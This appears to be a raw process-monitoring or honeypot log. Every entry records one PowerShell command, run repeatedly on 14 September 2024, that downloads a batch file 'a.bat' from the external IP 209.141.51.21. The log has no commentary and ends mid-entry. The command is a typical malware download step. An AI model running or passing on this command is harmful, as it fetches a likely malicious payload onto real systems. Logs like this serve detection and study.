C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 09:55:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 09:57:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 10:00:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 10:02:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 10:05:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 10:08:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 10:10:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 10:13:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 10:15:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 10:18:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 10:20:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 10:23:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 10:25:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 10:28:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 10:30:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 10:33:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 10:35:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 10:38:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 10:40:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 10:43:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 10:45:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 10:48:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 10:50:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 10:53:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 10:55:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 10:58:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 11:00:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 11:03:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 11:05:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 11:08:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 11:10:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 11:13:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 11:15:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 11:18:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 11:20:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 11:23:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 11:25:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 11:28:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 11:30:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 11:33:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 11:35:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 11:38:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 11:40:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 11:43:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 11:45:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 11:48:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 11:50:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 11:53:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 11:56:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 11:58:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 12:01:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 12:03:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 12:06:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 12:08:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 12:11:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 12:13:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 12:16:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 12:18:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 12:21:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 12:23:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 12:26:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 12:28:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 12:31:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 12:33:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 12:36:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 12:38:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 12:41:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 12:43:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 12:46:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 12:48:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 12:51:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 12:53:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 12:56:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 12:58:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 13:01:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 13:03:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 13:06:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 13:08:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 13:11:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 13:13:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 13:16:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 13:18:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 13:21:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 13:23:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 13:26:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 13:28:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 13:31:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 13:33:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 13:36:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 13:38:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 13:41:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 13:43:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 13:46:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 13:48:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 13:51:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 13:53:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 13:56:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 13:59:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 14:01:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 14:04:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 14:06:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 14:09:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 14:11:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 14:14:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 14:16:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 14:19:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 14:21:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 14:24:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 14:26:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 14:29:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 14:31:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 14:34:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 14:36:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 14:39:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 14:41:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 14:44:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 14:46:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 14:49:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 14:51:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 14:54:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 14:56:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 14:59:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 15:01:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 15:04:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 15:06:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 15:09:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 15:11:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 15:14:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 15:16:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 15:19:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 15:21:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 15:24:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 15:26:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 15:29:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 15:31:55 NOTIFY: PROCESS 